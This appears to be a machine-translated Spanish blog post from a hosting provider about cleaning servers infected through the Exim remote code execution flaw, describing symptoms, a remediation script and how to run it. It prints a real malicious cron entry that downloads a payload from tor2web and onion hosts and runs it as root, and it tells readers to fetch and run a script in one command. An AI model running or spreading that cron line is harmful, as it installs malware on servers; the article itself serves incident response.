La vulnerabilidad con RCE de Exim ya
era bastante sensacional, y casi destrozó los nervios de los administradores de sistemas de todo el mundo.
A raíz de las infecciones masivas (muchos de nuestros clientes usan Exim como servidor de correo), rápidamente difundieron un script para automatizar la solución del problema. El script está lejos de ser ideal y está lleno de código subóptimo, pero esta es una solución de combate rápida para no realizar las mismas acciones en cientos o incluso miles de servidores.
Funciona en servidores que ejecutan Centos, RHEL, Debian, Ubuntu con un servidor de correo Exim instalado.
¿Cómo entender que el servidor está pirateado?
Verifique los procesos en ejecución con el comando superior.
En los servidores infectados, el proceso [kthrotlds] crea una carga del 100%. También en el programador cron se agrega una tarea con derechos de edición limitados.
Sección de alerta
Todos los incidentes de infección que encontramos fueron del mismo tipo, la segunda y la tercera oleada pueden diferir de ellas; para ellos puede ser necesario modificar el script. En el momento de la infección, las tareas en cron se pierden irrevocablemente y deben devolverse a mano. El script "corta el hombro": actualiza Exim sin temor a versiones parcheadas, en el caso de Centos 6, incluso desde el repositorio de prueba. La instancia de malware está en la memoria, por lo que el servidor
debe reiniciarse inmediatamente después de limpiar las coronas.
Importante: la vulnerabilidad permite ejecutar código desde la raíz, lo que no ofrece ninguna garantía de recuperación al cien por cien. Al tener acceso de raíz al servidor, puede ocultar casi cualquier cosa en este servidor, por lo que será casi imposible encontrarlo. La garantía de curar completamente el servidor solo puede ser una reinstalación completa, pero está lejos de ser siempre posible. Si no hay posibilidad de reinstalar el servidor, y los síntomas son los mismos que los descritos, puede intentar llenar rápidamente los agujeros con este script.
Con un script, lo hace bajo su propio riesgo y riesgo: probamos el script en varios servidores, sin embargo, siempre hay riesgos de versiones de software incompatibles o un conflicto de configuración.
Nuestro script también le permite curar solo una de las posibles implementaciones de la infección; es posible que ya existan otras formas de explotar la vulnerabilidad que no han llegado a nuestro punto de vista.
¿Qué hace el guión?
1. Actualiza Exim, reinstala curl.
2. Comprueba si hay infección en el servidor.
El script analiza las tareas del planificador para detectar la presencia de inclusiones sospechosas.Por ejemplo, tales:
*/11 * * * * root tbin=$(command -v passwd); bpath=$(dirname "${tbin}"); curl="curl"; if [ $(curl --version 2>/dev/null|grep "curl "|wc -l) -eq 0 ]; then curl="echo"; if [ "${bpath}" != "" ]; then for f in ${bpath}*; do strings $f 2>/dev/null|grep -q "CURLOPT_VERBOSE" && curl="$f" && break; done; fi; fi; wget="wget"; if [ $(wget --version 2>/dev/null|grep "wgetrc "|wc -l) -eq 0 ]; then wget="echo"; if [ "${bpath}" != "" ]; then for f in ${bpath}*; do strings $f 2>/dev/null|grep -q "to <bug-wget@gnu.org>" && wget="$f" && break; done; fi; fi; if [ $(cat /etc/hosts|grep -i ".onion."|wc -l) -ne 0 ]; then echo "127.0.0.1 localhost" > /etc/hosts >/dev/null 2>&1; fi; (${curl} -fsSLk --retry 2 --connect-timeout 22 --max-time 75 https://an7kmd2wp4xo7hpr.tor2web.su/src/ldm -o /.cache/.ntp||${curl} -fsSLk --retry 2 --connect-timeout 22 --max-time 75 https://an7kmd2wp4xo7hpr.tor2web.io/src/ldm -o /.cache/.ntp||${curl} -fsSLk --retry 2 --connect-timeout 22 --max-time 75 https://an7kmd2wp4xo7hpr.onion.sh/src/ldm -o /.cache/.ntp||${wget} --quiet --tries=2 --wait=5 --no-check-certificate --connect-timeout=22 --timeout=75 https://an7kmd2wp4xo7hpr.tor2web.su/src/ldm -O /.cache/.ntp||${wget} --quiet --tries=2 --wait=5 --no-check-certificate --connect-timeout=22 --timeout=75 https://an7kmd2wp4xo7hpr.tor2web.io/src/ldm -O /.cache/.ntp||${wget} --quiet --tries=2 --wait=5 --no-check-certificate --connect-timeout=22 --timeout=75 https://an7kmd2wp4xo7hpr.onion.sh/src/ldm -O /.cache/.ntp) && chmod +x /.cache/.ntp && /bin/sh /.cache/.ntp
2a. Si hay rastros de un script de virus en la carpeta / etc, haga lo siguiente
2b. Si no hay rastro de infección, el script se cierra.
Refinamientos
El virus elimina todos los trabajos del planificador cron. Por lo tanto, después de reiniciar el servidor, deben reconfigurarse o restaurarse desde la copia de seguridad.
curl también está infectado por el virus, por lo que se reinstala.
Es necesario reiniciar (el script lo ejecuta automáticamente después del tratamiento); de lo contrario, el malware se almacena en la memoria del servidor y se auto-replica cada 30 segundos, incluso después de eliminar los archivos infectados.
¿Cómo usarlo?
Tradicionalmente: antes de comenzar, asegúrese de tener a mano la copia de respaldo real de los datos del servidor.
Para ejecutar el script:
Conéctese al servidor a través de ssh como usuario con privilegios de root. También puede usar el cliente Shell en el panel ISPmanager - Herramientas.
En la terminal, ingrese el comando:
wget https://lechillka.firstvds.ru/exim_rce_fixer.sh && chmod +x exim_rce_fixer.sh && ./exim_rce_fixer.sh
Espere que el script se complete y reinicie el servidor.
Después del reinicio, verifique el funcionamiento del servidor y los sitios / aplicaciones alojados en él, reconfigure o restaure las tareas a cron desde la copia de seguridad.
Y finalmente
De hecho, el script es una
solución temporal para restaurar el servidor para que funcione, para garantizar la prevención, la mejor solución es cambiar a un nuevo servidor con la versión del sistema operativo que ya no contenga una vulnerabilidad.
Todas las recomendaciones para finalizar / procesar el script son bienvenidas. Si encuentra otro síntoma de infección, muéstrela, por favor. La cooperación en el momento de las infecciones masivas reduce significativamente el tiempo requerido para eliminar estas infecciones.
Buena suerte
UPD1:
agregado en github .
El código fuente de la secuencia de comandos Malvari se cargó allí, que se logró extraer del servidor infectado .
UPD2: para Centos 6, la versión 4.92 vino en EPEL, ahora en todas las versiones del script se instala desde los repositorios principales. Inicialmente, el script descargó 4.92 para Centos 6 desde EPEL / testing.